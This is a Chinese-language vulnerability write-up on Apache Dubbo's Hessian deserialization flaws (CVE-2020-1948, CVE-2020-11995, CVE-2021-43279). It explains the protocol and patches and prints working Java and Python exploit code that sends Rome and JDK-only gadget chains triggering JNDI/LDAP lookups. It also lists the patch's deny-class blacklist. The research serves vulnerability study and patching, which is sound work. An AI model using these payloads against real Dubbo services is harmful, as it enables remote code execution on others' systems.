0


Javaweb安全——Dubbo 反序列化(一)

Dubbo 反序列化(一)

Dubbo 基础

Apache Dubbo 是一款 RPC 服务开发框架。提供三个核心功能:

面向接口的远程方法调用

智能容错和负载均衡

,以及

服务自动注册和发现

image-20230206210144195

节点角色
节点角色说明

Provider

暴露服务的服务提供者

Consumer

调用远程服务的服务消费者

Registry

服务注册与发现的注册中心

Monitor

统计服务的调用次数和调用时间的监控中心

Container

服务运行容器
调用关系

  • 服务容器负责启动,加载,运行服务提供者。
  • 服务提供者在启动时,向注册中心注册自己提供的服务。
  • 服务消费者在启动时,向注册中心订阅自己所需的服务。
  • 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
  • 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
  • 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

环境搭建

直接下载这个dubbo-samples-spring-boot然后idea打开,包含三个子模块:

正常的话还需要一个注册中心,使用zookeeper:

  • 修改zoo_sample.cfg文件名为zoo.cfg
  • 运行zkServer.cmd即可启动Zookeeper
  • zookeeper 配置文件【zoo_sample.cfg】详解 这里直接用默认配置即可。

不过这里这个dubbo-samples-spring-boot的Demo中只做单元测试,用里面自带的EmbeddedZooKeeper类就行。

后面切换版本的时候子模块的pom.xml会报错,自行添加版本。

image-20230206213443245

Dubbo-RPC 基本概念

整体设计如下图:

/dev-guide/images/dubbo-framework.jpg

  • Invocation 是请求会话领域模型,每次请求有相应的 Invocation 实例,负责包装 dubbo 方法信息为请求参数;
  • Invoker 是实体域,代表一个可执行实体,有本地、远程、集群三类;
  • Exporter 服务提供者 Invoker 管理实体;
  • Protocol 是核心层,也就是只要有 Protocol + Invoker + Exporter 就可以完成非透明的 RPC 调用。
  • Proxy 层封装了所有接口的透明化代理,而在其它层都以 Invoker 为中心,只有到了暴露给用户使用时,才用 Proxy 将 Invoker 转成接口,或将接口实现转成 Invoker。

服务提供者启动时,先创建相应选择的Protocol(协议对象),然后通过代理工厂创建Invoker对象,接着使用Protocol对Invoker进行服务注册至注册中心。Invoker 是由 Protocol 实现类构建而来,Dubbo 默认的 Protocol 实现类为DubboProtocol。

image-20230209042615615

请求解码

image-20230209043625227

默认情况下 Dubbo 使用 Netty 作为底层的通信框架。Netty 检测到有数据入站后,首先会通过Codec解码器对数据进行解码,解码链路如下:

NettyCodecAdapter#getDecoder()->NettyCodecAdapter$InternalDecoder#decode
         ->DubboCountCodec#decode
             ->DubboCodec#decode
                 ->ExchangeCodec#decode
             ->DubboCodec#decodeBody
...MultiMessageHandler#received
    ->HeartbeatHadnler#received
        ->AllChannelHandler#received 
...ChannelEventRunnable#run
    ->DecodeHandler#received
    ->DecodeHandler#decode
        ->DecodeableRpcInvocation#decode

看一下Codec2接口实现类的继承关系,DubboCountCodec 是对整个请求和响应的编解码。

Drawing 5.png

ExchangeCodec 负责处理 Dubbo 协议的请求头,而 DubboCodec 则是通过继承的方式,在其基础之上,添加了解析 Dubbo 消息体的功能。

org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter

类中通过内部类的方式实现了解码和编码器,主要decode流程在

org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode(org.apache.dubbo.remoting.Channel, org.apache.dubbo.remoting.buffer.ChannelBuffer, int, byte[])

函数中。

先读取头数据,接着调用decodeBody()解码消息体。

image-20230207185505612

ExchangeCodec 中实现了 decodeBody 方法,但因其子类 DubboCodec 覆写了该方法,所以实际调用的是

org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody

方法。

protectedObjectdecodeBody(Channel channel,InputStream is,byte[] header)throwsIOException{// 获取消息头中的第三个字节,并通过逻辑与运算得到序列化器编号byte flag = header[2], proto =(byte)(flag &SERIALIZATION_MASK);//选择 Serialization 对象,默认为 hessian2Serialization s =CodecSupport.getSerialization(channel.getUrl(), proto);// 获取调用编号long id =Bytes.bytes2long(header,4);// 通过逻辑与运算得到调用类型,0 - Response,1 - Requestif((flag &FLAG_REQUEST)==0){// 对响应结果进行解码,得到 Response 对象.....................}else{Request req =newRequest(id);
        req.setVersion(Version.getProtocolVersion());// 通过逻辑与运算得到通信方式,并设置到 Request 对象中
        req.setTwoWay((flag &FLAG_TWOWAY)!=0);// 通过位运算检测数据包是否为事件类型if((flag &FLAG_EVENT)!=0){// 设置心跳事件到 Request 对象中
            req.setEvent(Request.HEARTBEAT_EVENT);}try{Object data;if(req.isHeartbeat()){// 对心跳包进行解码,后面攻击漏洞时会用到这里
                data =decodeHeartbeatData(channel,deserialize(s, channel.getUrl(), is));}elseif(req.isEvent()){// 对事件数据进行解码
                data =decodeEventData(channel,deserialize(s, channel.getUrl(), is));}else{// 解析报文数据DecodeableRpcInvocation inv;// 根据 url 参数判断是否在 IO 线程上对消息体进行解码if(channel.getUrl().getParameter(Constants.DECODE_IN_IO_THREAD_KEY,Constants.DEFAULT_DECODE_IN_IO_THREAD)){
                    inv =newDecodeableRpcInvocation(channel, req, is, proto);// 在当前线程,也就是 IO 线程上进行后续的解码工作。此工作完成后,可将// 调用方法名、attachment、以及调用参数解析出来// 2.7.8版本进行方法名限制的补丁位置
                    inv.decode();}else{// 仅创建 DecodeableRpcInvocation 对象,但不在当前线程上执行解码逻辑
                    inv =newDecodeableRpcInvocation(channel, req,newUnsafeByteArrayInputStream(readMessageData(is)), proto);}
                data = inv;}// 设置 data 到 Request 对象中
            req.setData(data);//..............return req;}}
in = CodecSupport.deserialize(channel.getUrl(), is, proto);

位置获取InputSteam数据转为ObjectInput,

image-20230207190206608

根据id获取相应的反序列化实现,

url.getParameter

获取获取反序列化实现名称。最后判断编号为3、4、7或者编号取出的反序列化实现名称和服务提供者端配置的不一致,都会抛出异常。

image-20230207191737750

inv.decode();

所调用的

DecodeableRpcInvocation#decode

方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息依次解析出来,并设置到相应的字段中,最终得到一个具有完整调用信息的 DecodeableRpcInvocation 对象。这个方法就是后面漏洞分析中readObject的入口处

image-20230210000623514

调用服务

解码器将数据包解析成 Request 对象后,NettyHandler 的 messageReceived 方法紧接着会收到这个对象,并将这个对象继续向下传递。

NettyHandler#messageReceived(ChannelHandlerContext,MessageEvent)
  —>AbstractPeer#received(Channel,Object)
    —>MultiMessageHandler#received(Channel,Object)
      —>HeartbeatHandler#received(Channel,Object)
        —>AllChannelHandler#received(Channel,Object)
          —>ExecutorService#execute(Runnable)// 由线程池执行后续的调用逻辑

Dispatcher线程派发的部分这里就不多关注了,默认由 AllChannelHandler 处理,请求对象会被封装 ChannelEventRunnable 中。ChannelEventRunnable 仅是一个中转站,它的 run 方法中并不包含具体的调用逻辑,仅用于将参数传给其他 ChannelHandler 对象进行处理。

image-20230209033922845

DecodeHandler 是对请求体和响应结果的解码,比如在调用方法时会进入

decode(((Request) message).getData())

对 Request 的 data 字段进行解码。

这里会进入到

DecodeableRpcInvocation#decode

进行反序列化

DecodeHandler#received(Channel,Object)->DecodeHandler#decode(Object)->DecodeableRpcInvocation#decode()->DecodeableRpcInvocation#decode(Channel,InputStream)

image-20230210011647219

ChannelEventRunnable#run()
  —>DecodeHandler#received(Channel,Object)
    —>HeaderExchangeHandler#received(Channel,Object)
      —>HeaderExchangeHandler#handleRequest(ExchangeChannel,Request)
        —>DubboProtocol.requestHandler#reply(ExchangeChannel,Object)

经过上面的调用栈会入DubboProtocol 类中的匿名类对象

ExchangeHandlerAdapter

。其reply方法会获取 Invoker 实例,通过 Invoker 调用具体的服务。

image-20230209035108083

DubboProtocol#getInvoker

方法中,通过与指定服务对应的暴露对象exporter 获取Invoker 实例。

image-20230209035457396

回到reply方法中,调用

invoker.invoke(inv)

方法进行方法调用,该方法定义在 AbstractProxyInvoker,其调用 doInvoke 执行后续的调用,doInvoke 是一个抽象方法,由具体的 Invoker 实例实现。

publicResultinvoke(Invocation invocation)throwsRpcException{try{returnnewRpcResult(doInvoke(proxy, invocation.getMethodName(), invocation.getParameterTypes(), invocation.getArguments()));//......................protectedabstractObjectdoInvoke(T proxy,String methodName,Class<?>[] parameterTypes,Object[] arguments)throwsThrowable;

服务引用,引用的是一个代理类。Invoker实例通过InvokerInvocationHandler包装,然后通过

JavassistProxyFactory#getProxy

生成代理类。

image-20230209040029807

—>Filter#invoke(Invoker,Invocation)
    —>AbstractProxyInvoker#invoke(Invocation)
        —>Wrapper0#invokeMethod(Object,String,Class[],Object[])
            —>DemoServiceImpl#sayHello(String)

Dubbo RPC协议

Dubbo协议格式如下:

/dev-guide/images/dubbo_protocol_header.jpg

  • Header(16 bytes)- Magic - Magic High & Magic Low (16 bits)标识协议版本号,Dubbo 协议:0xdabb- Req/Res (1 bit)标识是请求或响应。请求: 1; 响应: 0。- 2 Way (1 bit)仅在 Req/Res 为1(请求)时才有用,标记是否期望从服务器返回值。如果需要来自服务器的返回值,则设置为1。- Event (1 bit)标识是否是事件消息,例如,心跳事件。如果这是一个事件,则设置为1。- Serialization ID (5 bit)标识序列化类型:比如 fastjson 的值为6。- Status (8 bits)仅在 Req/Res 为0(响应)时有用,用于标识响应的状态。- Request ID (64 bits)标识唯一请求。类型为long。- Data Length (32 bits)序列化后的内容长度(可变部分),按字节计数。int类型。
  • Body(n bytes)- Variable Part被特定的序列化类型(由序列化 ID 标识)序列化后的RPC数据

Dubbo 协议中前 128 位是协议头,之后的内容是具体的负载数据。协议头就是通过 ExchangeCodec 实现编解码的。

ExchangeCodec 的核心字段有如下几个。

  • HEADER_LENGTH(int 类型,值为 16):协议头的字节数,16 字节,即 128 位。
  • MAGIC(short 类型,值为 0xdabb):协议头的前 16 位,分为 MAGIC_HIGH 和 MAGIC_LOW 两个字节。
  • FLAG_REQUEST(byte 类型,值为 0x80):用于设置 Req/Res 标志位。
  • FLAG_TWOWAY(byte 类型,值为 0x40):用于设置 2Way 标志位。
  • FLAG_EVENT(byte 类型,值为 0x20):用于设置 Event 标志位。
  • SERIALIZATION_MASK(int 类型,值为 0x1f):用于获取序列化类型的标志位的掩码。

Dubbo-Hessian

Dubbo默认是使用了Hessian2作为序列化和反序列化的工具。Hessian 是一种跨语言的高效二进制序列化方式。但Dubbo是阿里修改过的 Hessian lite。其默认反序列化器为JavaDeserializer,而官方的Hessian的默认序列化器是UnsafeSerializer。

反序列化时候UnsafeDeserializer先将二进制数据序列化成Map,然后再将Map转化成对象,而JavaDeserializer会新建一个对象然后再把属性设置进去。

而构造器及构造器的参数在当前

JavaDeserializer

实例化时会确定,会使用反射调用参数最少的那个构造函数生成对象。

com.alibaba.com.caucho.hessian.io.JavaDeserializer#JavaDeserializer

image-20230207014806319

然后由

com.alibaba.com.caucho.hessian.io.JavaDeserializer#getParamArg

获取参数,只返回基本类型的参数值。

image-20230207014507467

比如rome反序列化链中的ObjectBean类。在dubbo中的Hessian lite中因为其参数最少的那个构造函数的两个参数都不是基本类型,导致

getParamArg

中获取为null所以无法正常实例化,导致反序列化失败。

image-20230207013504157

image-20230207005414988

所以这里使用marshalsec中的Rome调用链直接由

EqualsBean#hashCode

=>

EqualsBean#beanHashCode

同理Rome二次序列化链中的SignedObject也没法被反序列化。image-20230207015624833

而且必须是Public的类才能被反序列化,不然会报错

java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

漏洞分析

这里主要先分析 hessian 和 http 相关的反序列化漏洞

CVE-2020-1948(<= 2.7.6)

  • Apache Dubbo 2.7.0 ~ 2.7.6
  • Apache Dubbo 2.6.0 ~ 2.6.7
  • Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

测试版本 Dubbo 2.7.3

参考[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE有两种触发方法:

  • 通过反序列化参数时的HashMap.put方法触发;
  • 反序列化完成后,利用service不存在抛出异常输出时,隐式调用toString方法触发;
readObject

上面请求解码的部分提过

DecodeableRpcInvocation#decode

方法中对反序列化获取参数列表,那如果传入的方法参数是个恶意对象,自然就可触发了。

修改dubbo-samples-spring-boot-consumer中的代码,加一个服务端不存在的方法,传入恶意对象进行调用。

@SpringBootApplication@Service@EnableDubbopublicclassConsumerApplication{@ReferenceprivateDemoService demoService;publicstaticvoidmain(String[] args)throwsException{ConfigurableApplicationContext context =SpringApplication.run(ConsumerApplication.class, args);ConsumerApplication application = context.getBean(ConsumerApplication.class);JdbcRowSetImpl jdbcRowSet =newJdbcRowSetImpl();String url ="ldap://127.0.0.1:1389/irap0o";
        jdbcRowSet.setDataSourceName(url);Map expMap =makeMap(JdbcRowSetImpl.class,jdbcRowSet);
        application.sendPayload(expMap);}publicObjectsendPayload(Object name){return demoService.sendPayload(name);}publicstaticHashMapmakeMap(Class expectedClass,Object o)throwsException{ToStringBean toStringBean =newToStringBean(expectedClass, o);EqualsBean equalsBean =newEqualsBean(ToStringBean.class, toStringBean);HashMap<Object,Object> expMap =newHashMap<>();setFieldValue(expMap,"size",2);Class<?> nodeC;try{
            nodeC =Class.forName("java.util.HashMap$Node");}catch(ClassNotFoundException e ){
            nodeC =Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);
        nodeCons.setAccessible(true);Object tbl =Array.newInstance(nodeC,2);Array.set(tbl,0, nodeCons.newInstance(0, equalsBean,"any",null));setFieldValue(expMap,"table", tbl);return expMap;}}

image-20230208002925480

上面的利用方式是要Provider端该service存在的情况,如果Dubbo找不到注册的service,consumer代理不能生成就会报错。

原因可参考:https://blog.csdn.net/lkforce/article/details/90479966

https://cloud.tencent.com/developer/article/1845311

image-20230208004012357

后序列化利用

漏洞原作者的POC,还有一个使用的是任意不存在的service和method,导致Dubbo找不到注册的service而抛出异常,在抛出异常的时候触发漏洞。

原作者使用 python_EXP 修改了服务名,证明攻击不受该参数影响。

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1',20880)

JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://127.0.0.1:1389/irap0o",
    strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )

resp = client.send_request_and_return_response(
    service_name='cn.rui0',
    method_name='rce',
    args=[toStringBean])print(resp)

思路就是漏洞作者Java“后反序列化漏洞”利用思路这篇文章中提过的。

具体到这,在反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE,调用栈如下:

getDatabaseMetaData:4004,JdbcRowSetImpl(com.sun.rowset)
invoke0:-1,NativeMethodAccessorImpl(sun.reflect)
invoke:62,NativeMethodAccessorImpl(sun.reflect)
invoke:43,DelegatingMethodAccessorImpl(sun.reflect)
invoke:498,Method(java.lang.reflect)
toString:158,ToStringBean(com.rometools.rome.feed.impl)
toString:129,ToStringBean(com.rometools.rome.feed.impl)
valueOf:2994,String(java.lang)
toString:4571,Arrays(java.util)
toString:241,RpcInvocation(org.apache.dubbo.rpc)
valueOf:2994,String(java.lang)
append:131,StringBuilder(java.lang)
getInvoker:266,DubboProtocol(org.apache.dubbo.rpc.protocol.dubbo)
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker

到getInvoker这因为service不存在就会报错,

image-20230208012852328

报错信息中的

", message:" + inv

这个inv是DecodeableRpcInvocation的实例对象,在这里在拼接字符串时候默认调用其toString方法,具体实现在其父类

org.apache.dubbo.rpc.RpcInvocation

image-20230208021139658

其中的argements就是ToStringBean的实例,跟入

Arrays.toString(arguments)

在这里调用

ToStringBean#toString()

触发。

image-20230208013225500

补丁

2.7.7版本中

DecodeableRpcInvocation#decode(Channel, InputStream)

中增加了一个判断,限制了RPC的方法名,不是指定方法的话会抛出异常。

https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9

image-20230210013056945

CVE-2020-11995(<= 2.7.7)

  • Dubbo 2.7.0 ~ 2.7.7
  • Dubbo 2.6.0 ~ 2.6.8
  • Dubbo 所有 2.5.x 版本

测试版本 Dubbo 2.7.7

针对后序列化利用的绕过,上面提到的2.7.7版本补丁

RpcUtils.isGenericCall

RpcUtils.isEcho

中限制了方法名只能为

$invoke

$invokeAsync

$echo

。修改poc中调用的方法名即可。

image-20230210013245347

debug级别与invocation值

但是修改python版本的poc进行后反序列化攻击,则依旧无效。而在2.7.5之后的版本中throw RemotiyicngException部分进行了修改,可见inv多了一个getInvocationWithoutData方法包裹。

https://github.com/apache/dubbo/commit/5618b12340b9c3ecf90c7e01c274a4f094cc146c#diff-37a8a427d2ec646f392ebd9225019346

image-20230210013612607

DubboProtocol#getInvocationWithoutData

方法中默认将inv对象的arguments参数设置为null,但如果系统配置log4j debug级别或者不配置任何其他级别,会直接返回invocation对象。所以在特定条件下还是可以利用成功的。

image-20230210013657996

补丁

https://github.com/apache/dubbo/commit/5ad186fa874d9f0dfb87b989e54c1325d39abd40

DecodeableRpcInvocation增加入参类型校验,只有参数类型合法才会继续进行反序列化操作。

image-20230211194105949

新的反序列化入口

心跳包解码

2.7.3 版本请求消息体的解码实现

DubboCodec#decodeBody

还有两个反序列化的地方,

image-20230211214544586

2.7.5版本开始移除了decodeHeartbeatData部分

image-20230212215958045

2.7.9 以及之后的版本HeartBeat直接返回null,上面的payload会进入decodeEventData进行解码

image-20230212005528637

这两个地方判断逻辑都是依据mEvent属性

image-20230212220511937

image-20230212220337518

FLAG_EVENT

值为32

image-20230212220550306

flag值获取自

header[2]

且影响proto反序列化类型

image-20230212221544105

decodeHeartbeatData(<= 2.7.4.1)

这里利用

ExchangeCodec#decodeHeartbeatData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectInput)

去反序列化数据

image-20230207190415882

Hessian2ObjectInput#readObject(java.lang.Class<T>)

image-20230207190426223

Hessian2ObjectInput

对mH2这个对象进行了封装,后面就是正常的hessian序列化了。

image-20230207190819177

decodeBody

方法中根据flag标志位,选择数据包类型进行解码。

添加头数据,修改Event位为 1 然后Socket连接发送反序列化数据。

publicstaticvoidmain(String[] args)throwsException{//JDBCJdbcRowSetImpl jdbcRowSet =newJdbcRowSetImpl();String url ="ldap://127.0.0.1:1389/n44cbl";
    jdbcRowSet.setDataSourceName(url);Map expMap =makeMap(JdbcRowSetImpl.class,jdbcRowSet);//序列化ByteArrayOutputStream brr =newByteArrayOutputStream();Hessian2Output output =newHessian2Output(brr);
    output.writeObject(expMap);
    output.flush();//发送数据ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();// header.byte[] header =newbyte[16];// set magic number.Bytes.short2bytes((short)0xdabb, header);// set request and serialization flag.
    header[2]=(byte)((byte)0x80|0x20|2);// set request id.Bytes.long2bytes(newRandom().nextInt(100000000), header,4);Bytes.int2bytes(brr.size(), header,12);
    byteArrayOutputStream.write(header);
    byteArrayOutputStream.write(brr.toByteArray());byte[] bytes = byteArrayOutputStream.toByteArray();//todo 此处填写被攻击的dubbo服务提供者地址和端口Socket socket =newSocket("127.0.0.1",20880);OutputStream outputStream = socket.getOutputStream();
    outputStream.write(bytes);
    outputStream.flush();
    outputStream.close();}publicstaticHashMapmakeMap(Class expectedClass,Object o)throwsException{ToStringBean toStringBean =newToStringBean(expectedClass, o);EqualsBean equalsBean =newEqualsBean(ToStringBean.class, toStringBean);HashMap<Object,Object> expMap =newHashMap<>();setFieldValue(expMap,"size",2);Class<?> nodeC;try{
        nodeC =Class.forName("java.util.HashMap$Node");}catch(ClassNotFoundException e ){
        nodeC =Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);
    nodeCons.setAccessible(true);Object tbl =Array.newInstance(nodeC,2);Array.set(tbl,0, nodeCons.newInstance(0, equalsBean,"any",null));setFieldValue(expMap,"table", tbl);return expMap;}

这个payload的发送是在知道dubbo provider的ip和端口情况下,或者知道zoomkeeper的ip&port+一个目标的interface接口名称(提供正确的interface接口,可以借助zoomkeeper拿到目标的ip和port)

主要调用栈:

put:611,HashMap(java.util)
doReadMap:145,MapDeserializer(com.alibaba.com.caucho.hessian.io)
readMap:126,MapDeserializer(com.alibaba.com.caucho.hessian.io)
readObject:2703,Hessian2Input(com.alibaba.com.caucho.hessian.io)
readObject:2278,Hessian2Input(com.alibaba.com.caucho.hessian.io)
readObject:85,Hessian2ObjectInput(org.apache.dubbo.common.serialize.hessian2)
decodeHeartbeatData:413,ExchangeCodec(org.apache.dubbo.remoting.exchange.codec)
decodeBody:125,DubboCodec(org.apache.dubbo.rpc.protocol.dubbo)
decode:122,ExchangeCodec(org.apache.dubbo.remoting.exchange.codec)
decode:82,ExchangeCodec(org.apache.dubbo.remoting.exchange.codec)
decode:48,DubboCountCodec(org.apache.dubbo.rpc.protocol.dubbo)
decode:90,NettyCodecAdapter$InternalDecoder(org.apache.dubbo.remoting.transport.netty4)

decodeEventData(<= 2.7.8)

image-20230212214354170

image-20230212214402756

readUTF(<= 2.7.13)

在请求解码的部分中提过

DecodeableRpcInvocation#decode

方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息进行读取,具体调用的就是readUTF方法。

image-20230211233816006

跟进

Hessian2ObjectInput#readUTF

方法

image-20230211233801798

Hessian2Input#readString()

方法通过获取tag位,进行相应的处理。当这里不是一个String类型的时候,将会抛出异常。

publicStringreadString()throwsIOException{int tag =read();switch(tag){case'N':returnnull;//....................default:throwexpect("string", tag);
Hessian2Input#expect

方法,进行默认的Hessian2反序列化

image-20230212212146335

修改上面的payload中header部分即可

byte[] header =newbyte[16];// set magic number.Bytes.short2bytes((short)0xdabb, header);// set request and serialization flag.//header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
header[2]=(byte)((byte)0x80|2);

主体调用栈如下:

put:611,HashMap(java.util)
doReadMap:145,MapDeserializer(com.alibaba.com.caucho.hessian.io)
readMap:126,MapDeserializer(com.alibaba.com.caucho.hessian.io)
readObject:2733,Hessian2Input(com.alibaba.com.caucho.hessian.io)
readObject:2308,Hessian2Input(com.alibaba.com.caucho.hessian.io)
expect:3561,Hessian2Input(com.alibaba.com.caucho.hessian.io)
readString:1883,Hessian2Input(com.alibaba.com.caucho.hessian.io)
readUTF:90,Hessian2ObjectInput(org.apache.dubbo.common.serialize.hessian2)
decode:111,DecodeableRpcInvocation(org.apache.dubbo.rpc.protocol.dubbo)
decode:83,DecodeableRpcInvocation(org.apache.dubbo.rpc.protocol.dubbo)
decode:57,DecodeHandler(org.apache.dubbo.remoting.transport)
补丁

Apache Dubbo 2.7.9 版本限制了数据长度,Event包反序列化利用受限。

image-20230212005727098

Apache Dubbo 2.7.14版本升级到了 hessian_lite_version 3.2.11

image-20230212013819490

https://github.com/apache/dubbo-hessian-lite/commit/15e85b01d51dbbd1981d1f311cd7eff4add1c67e

com.alibaba.com.caucho.hessian.io.ClassFactory

中增加了super class 检查,通过包命和类名过滤将要创建的对象,而Hessian2反序列化创建对象时,都需要使用ClassFactory这个工厂类。readUTF那的默认hessian反序列化利用受限。

image-20230212012145107

#dubbo-2.7.14-sources.jar!\DENY_CLASS 
禁止包命如下
bsh.ch.qos.logback.core.db.clojure.com.alibaba.citrus.springext.support.parser.com.alibaba.citrus.springext.util.SpringExtUtil.com.alibaba.druid.pool.com.alibaba.hotcode.internal.org.apache.commons.collections.functors.com.alipay.custrelation.service.model.redress.com.alipay.oceanbase.obproxy.druid.pool.com.caucho.config.types.com.caucho.hessian.test.com.caucho.naming.com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.com.ibm.xltxe.rnm1.xtq.bcel.util.com.mchange.v2.c3p0.com.mysql.jdbc.util.com.rometools.rome.feed.com.sun.corba.se.impl.com.sun.corba.se.spi.orbutil.com.sun.jndi.rmi.com.sun.jndi.toolkit.com.sun.org.apache.bcel.internal.com.sun.org.apache.xalan.internal.com.sun.rowset.com.sun.xml.internal.bind.v2.com.taobao.vipserver.commons.collections.functors.groovy.lang.java.beans.java.rmi.server.java.security.javassist.bytecode.annotation.javassist.util.proxy.javax.imageio.javax.imageio.spi.javax.management.javax.media.jai.remote.javax.naming.javax.script.javax.sound.sampled.javax.xml.transform.net.bytebuddy.dynamic.loading.oracle.jdbc.connector.oracle.jdbc.pool.org.apache.aries.transaction.jms.org.apache.bcel.util.org.apache.carbondata.core.scan.expression.org.apache.commons.beanutils.org.apache.commons.codec.binary.org.apache.commons.collections.functors.org.apache.commons.collections4.functors.org.apache.commons.configuration.org.apache.commons.configuration2.org.apache.commons.dbcp.datasources.org.apache.commons.dbcp2.datasources.org.apache.commons.fileupload.disk.org.apache.ibatis.executor.loader.org.apache.ibatis.javassist.bytecode.org.apache.ibatis.javassist.tools.org.apache.ibatis.javassist.util.org.apache.ignite.cache.org.apache.log.output.db.org.apache.log4j.receivers.db.org.apache.myfaces.view.facelets.el.org.apache.openjpa.ee.org.apache.openjpa.ee.org.apache.shiro.org.apache.tomcat.dbcp.org.apache.velocity.runtime.org.apache.velocity.org.apache.wicket.util.org.apache.xalan.xsltc.trax.org.apache.xbean.naming.context.org.apache.xpath.org.apache.zookeeper.org.aspectj.apache.bcel.util.org.codehaus.groovy.runtime.org.datanucleus.store.rdbms.datasource.dbcp.datasources.org.eclipse.jetty.util.log.org.geotools.filter.org.h2.value.org.hibernate.tuple.component.org.hibernate.type.org.jboss.ejb3.org.jboss.proxy.ejb.org.jboss.resteasy.plugins.server.resourcefactory.org.jboss.weld.interceptor.builder.org.mockito.internal.creation.cglib.org.mortbay.log.org.quartz.org.springframework.aop.aspectj.org.springframework.beans.factory.org.springframework.expression.spel.org.springframework.jndi.org.springframework.orm.org.springframework.transaction.org.yaml.snakeyaml.tokens.pstore.shaded.org.apache.commons.collections.sun.rmi.server.sun.rmi.transport.weblogic.ejb20.internal.weblogic.jms.common.

正则匹配
java\lang\ProcessBuilderjava\lang\Runtimejava\util\ServiceLoaderjavassist\tools\web\Viewerorg\springframework\beans\BeanWrapperImpl$BeanPropertyHandler

CVE-2021-43279(<= 2.7.14)

  • Apache Dubbo 2.6.x <= 2.6.12
  • Apache Dubbo 2.7.x <= 2.7.14
  • Apache Dubbo 3.0.x <= 3.0.5

测试版本 Dubbo 2.7.13

后反序列化利用,hessian-lite在反序列化抛出异常时会进行对象拼接,进而隐式的触发toString

image-20230212212222087

主要的调用链也是

readUTF() -> readString() -> except()

,只不过上面用的是readObject那进行默认的反序列化然后hash.put();

主体调用栈如下:

toString:129,ToStringBean(com.rometools.rome.feed.impl)
valueOf:2994,String(java.lang)
append:131,StringBuilder(java.lang)
toString:557,AbstractMap(java.util)
valueOf:2994,String(java.lang)
append:131,StringBuilder(java.lang)
expect:3566,Hessian2Input(com.alibaba.com.caucho.hessian.io)
readString:1883,Hessian2Input(com.alibaba.com.caucho.hessian.io)
readUTF:90,Hessian2ObjectInput(org.apache.dubbo.common.serialize.hessian2)
decode:111,DecodeableRpcInvocation(org.apache.dubbo.rpc.protocol.dubbo)
decode:83,DecodeableRpcInvocation(org.apache.dubbo.rpc.protocol.dubbo)

Rome 链因为类加载黑名单限制,只能打到 2.7.13 版本。如果有合适的toString类仍可以在 2.7.14 版本进行利用。

原生jdk利用链

测试版本 Dubbo 2.7.14

该漏洞还引出了hessian的jdk原生链。由于和xstream有点类似,可以从其历史链来作参考 :

Rdn$RdnEntry#compareTo()->XString#equal()->MultiUIDefaults#toString()->UIDefaults#get()->UIDefaults#getFromHashTable()->UIDefaults$LazyValue#createValue()->SwingLazyValue#createValue()->InitialContext#doLookup()
javax.swing.MultiUIDefaults

不是public类不能被实例化,使用

java.awt.datatransfer.MimeTypeParameterList

替代

UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get()

publicclassMimeTypeParameterList{privateHashtable parameters =newHashtable();//..............publicStringtoString(){StringBuffer buffer =newStringBuffer();
        buffer.ensureCapacity(this.parameters.size()*16);Enumeration keys =this.parameters.keys();while(keys.hasMoreElements()){String key =(String)keys.nextElement();
            buffer.append("; ");
            buffer.append(key);
            buffer.append('=');
            buffer.append(quote((String)this.parameters.get(key)));}return buffer.toString();

然后就是要找到一个public static方法来导致RCE,参考官方 write up 的几种方法:

some interesting staic funtions

MethodUtils.invoke
0ctf-2022-soln-hessian-onlyjdk
System.setProperty + InitalContext.doLookup @福来阁
DumpBytecode.dumpBytecode + System.load @ty1310 @nese
com.sun.org.apache.xalan.internal.xslt.Process._main @福来阁 @Water Paddler
sun.tools.jar.Main.main
writeup @Cyku
System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm @StrawHat

最常见的就是利用

System.setProperty + InitalContext.doLookup

SwingLazyValue.createValue

中拿到public static 的方法 然后invoke

image-20230213012350024

MimeTypeParameterList#toString()->UIDefaults#get()->UIDefaults#getFromHashTable()->SwingLazyValue#createValue()

修改前面poc的恶意对象部分

//only jdkSwingLazyValue value=newSwingLazyValue("javax.naming.InitialContext","doLookup",newObject[]{"ldap://127.0.0.1:1389/yxh3ln"});UIDefaults uiDefaults =newUIDefaults();
uiDefaults.put("q",value);Object o=obj("java.awt.datatransfer.MimeTypeParameterList");setValue(o,"parameters",uiDefaults);//序列化ByteArrayOutputStream brr =newByteArrayOutputStream();Hessian2Output output=newHessian2Output(brr);
output.setSerializerFactory(newSerializerFactory());
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);

image-20230213020702709

image-20230213183349341

这个利用链可以在 2.7.14 版本利用。这里不过多展开,其他利用链可参考:

  • 0ctf2022 hessian-only-jdk writeup jdk原生链
